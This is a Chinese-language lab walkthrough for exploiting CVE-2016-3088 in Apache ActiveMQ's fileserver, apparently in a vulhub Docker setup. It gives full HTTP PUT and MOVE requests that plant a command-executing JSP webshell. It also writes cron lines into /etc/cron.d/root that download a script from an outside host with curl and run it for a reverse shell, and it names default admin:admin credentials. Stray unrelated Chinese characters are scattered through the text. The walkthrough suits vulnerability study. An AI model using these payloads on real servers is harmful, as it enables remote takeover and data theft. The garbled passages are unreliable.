漏洞背景
CVE-2016-3088戳稽,ActiveMQ<5.12.x容易存在金蜀。
- 框架介紹:Apache ActiveMQ是Apache軟件基金會所研發(fā)的開放源代碼消息中間件竞惋。
- 漏洞引入:ActiveMQ的web控制臺分三個應(yīng)用燎潮,admin倔丈、api和fileserver憨闰。其中admin是管理員頁面,api是接口乃沙,admin和api都需要登錄后才能使用起趾;fileserver是一個RESTful API接口,我們可以通過GET警儒、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作眶根,無需登錄蜀铲。fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)属百。所以记劝,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置族扰,造成任意文件寫入漏洞厌丑。ActiveMQ在5.12.x~5.13.x版本中定欧,已經(jīng)默認關(guān)閉了fileserver這個應(yīng)用(可以在conf/jetty.xml中手動開啟);在5.14.0版本以后怒竿,徹底刪除了fileserver應(yīng)用砍鸠。
漏洞特征
漏洞發(fā)現(xiàn):nmap掃端口識別,默認8161
漏洞利用條件
- 寫入jsp的webshell(需獲取ActiveMQ賬號密碼&絕對路徑)
- 寫入cron或ssh key等文件(需為root)
- 寫入jar或jetty.xml等庫和配置文件(需知道activemq的絕對路徑)
本地復現(xiàn)
activemq/CVE-2016-3088耕驰,將8161端口映射出來爷辱。
activemq的目錄如下:
root@5f5b35d61130:/opt/activemq# ls
LICENSE NOTICE README.txt activemq-all-5.11.1.jar bin conf data docs examples lib tmp webapps webapps-demo
root@5f5b35d61130:/opt/activemq# ls webapps
admin api favicon.ico fileserver images index.html styles
姿勢1:寫入webshell
- 訪問
http://10.154.7.128:28617/admin/test/systemProperties.jsp
可使用admin:admin進行登錄,查看ActiveMQ的絕對路徑(activemq.home)為/opt/activemq朦肘。 - bp直接上傳webshell(記得修改request method)
PUT /fileserver/1.txt HTTP/1.1
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
返回204則執(zhí)行成功
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
- 移動到web目錄下的api文件夾中饭弓,同樣需返回204。(記得修改request method)
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
- 訪問webshell媒抠。
http://10.154.7.128:28617/api/shell.jsp
姿勢2:寫入crontab反彈shell
- bp上傳(換行需從0d0a改成0a)
PUT /fileserver/1.txt HTTP/1.1
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
* * * * * root curl -o /tmp/1 r.36huo.com/10.154.7.128/53
* * * * * root /bin/bash /tmp/1
反彈是可以的弟断,但因為crontab的問題,環(huán)境變量不會自動讀取趴生。因為題目設(shè)置的docker啟動的環(huán)境變量夫嗓,肯定會作用在docker啟動進程也就是進程1上。所以cat /proc/1/environ
可以看到冲秽。
2.移動
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
3.監(jiān)聽端口反彈成功舍咖。
姿勢3:寫入jetty.xml或jar(待補)
覆蓋jetty.xml,將admin和api的登錄限制去掉锉桑,然后再寫入webshell
總結(jié)
- crontab不會缺省從用戶profile文件中讀取環(huán)境變量參數(shù)排霉,解決方式還在研究。民轴。攻柠。。
參考
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md